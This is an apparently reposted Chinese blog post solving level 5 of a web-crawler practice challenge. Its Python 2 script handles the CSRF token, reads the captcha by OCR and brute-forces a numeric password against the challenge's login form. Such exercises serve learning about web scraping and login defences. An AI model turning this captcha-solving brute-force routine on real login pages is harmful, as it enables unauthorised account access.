黑板客 -- 爬虫闯关 -- 关卡05

Posted peterz1997

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了黑板客 -- 爬虫闯关 -- 关卡05相关的知识,希望对你有一定的参考价值。

简介


爬虫闯关链接:


1. ?http://www.heibanke.com/accounts/login/?next=/lesson/crawler_ex04/

2.? http://www.heibanke.com/lesson/crawler_ex04/

3.? http://www.heibanke.com


知识点:cookie & session , csrf , Web编程,验证码识别模块


提示:本题相较之于前4题的难度在于验证码识别问题,为了方便起见,就用了网络上现成的pytesser模块,PIL模块64位Python安装时可能会遇到一点小麻烦,尽量使用32位Python。


pytesser模块安装及使用参考资料:


1. http://blog.csdn.net/evankaka/article/details/49533493

2. http://blog.csdn.net/tianxiawuzhei/article/details/44922843

3. http://blog.csdn.net/bigzhao_25/article/details/52350781


参考代码


#!/usr/bin/env python
# encoding: utf-8
 
import requests
import sys
import re
import threading
from pytesser import *  
 
reload(sys)
 
sys.setdefaultencoding("utf-8")
 
csrf = ""
username = "Peter"
password = "112233"
captcha_0 = ""
captcha_1 = ""
attack_password = ""
 
website_login = "http://www.heibanke.com/accounts/login/?next=/lesson/crawler_ex04/"
website_attack = "http://www.heibanke.com/lesson/crawler_ex04/"
website_imageBase = "http://www.heibanke.com"
 
payload_login = {
    "username":username,
    "password":password,
    "csrfmiddlewaretoken":csrf
}
 
payload_attack = {
    "username":username,
    "password":attack_password,
    "csrfmiddlewaretoken":csrf,
    "captcha_0":captcha_0,
    "captcha_1":captcha_1
}
 
s = requests.Session()
s.get(website_login)
csrf = payload_login["csrfmiddlewaretoken"] = payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
 
def Test_verCode(image_path):
    image = Image.open(image_path)   
    verCode_res =  image_to_string(image) 
    return verCode_res
 
def getVerCode(resp):
    global payload_attack
    word_captcha_1 = re.findall('<img src="(.*?)" alt="captcha" class="captcha" />', resp.content)
    word_captcha_0 = re.findall('<input id="id_captcha_0" name="captcha_0" type="hidden" value="(.*?)" />', resp.content)
    payload_attack["captcha_0"] = word_captcha_0[0]
    Image_URL = website_imageBase+word_captcha_1[0]
    return Image_URL
 
def downloadImage(Image_URL):
    try:
        pic= requests.get(Image_URL, timeout=10)
    except requests.exceptions.ConnectionError:
        print '[-] Image can not download '
    string = '1' + '.png'
    fp = open(string,'wb')
    fp.write(pic.content)
    fp.close()
 
def get_attackResp(verCode_res,attack_password,s):
    global payload_attack
    payload_attack["password"] = attack_password
    payload_attack["captcha_1"] = verCode_res[0:4:1]
    resp_attack = s.post(website_attack,data=payload_attack)
    payload_login["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    return resp_attack
 
def main():
    global payload_login
    global payload_attack
    global s
    resp_login = s.post(website_login,data=payload_login)
    payload_login["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
    image_URL = getVerCode(resp_login)
    downloadImage(image_URL)
    verCode_res = Test_verCode('1.png')
    for i in range(31):
        resp_attack = get_attackResp(verCode_res,str(i),s)
        while True:
            if resp_attack.content.find(u'验证码输入错误'.decode('utf8')) == -1:
                break
            else:
                print "[-]VerCode ERROR: PW:" + payload_attack["password"] + " -- VERCODE:" + verCode_res
                resp_login = s.post(website_login,data=payload_login)
                payload_login["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
                payload_attack["csrfmiddlewaretoken"] = s.cookies["csrftoken"]
                image_URL = getVerCode(resp_login)
                downloadImage(image_URL)
                verCode_res = Test_verCode('1.png')
                resp_attack = get_attackResp(verCode_res,str(i),s)
                continue
        if resp_attack.content.find(u'错误'.decode('utf8')) == -1:
            print "[+]FOUND PASSWORD:" + payload_attack["password"]
            print "
TEXT:
" + unicode(resp_attack.content).decode('utf8')
            break
if __name__ == '__main__':
    main()

以上是关于黑板客 -- 爬虫闯关 -- 关卡05的主要内容,如果未能解决你的问题,请参考以下文章

黑板客爬虫闯关第一关第二关

Python:黑板课爬虫闯关第一关

Python:黑板课爬虫闯关第二关

Python:黑板课爬虫闯关第三关

Checkio代码闯关小计

LeetCode810. 黑板异或游戏/455. 分发饼干/剑指Offer 53 - I. 在排序数组中查找数字 I/53 - II. 0~n-1中缺失的数字/54. 二叉搜索树的第k大节点(代码片段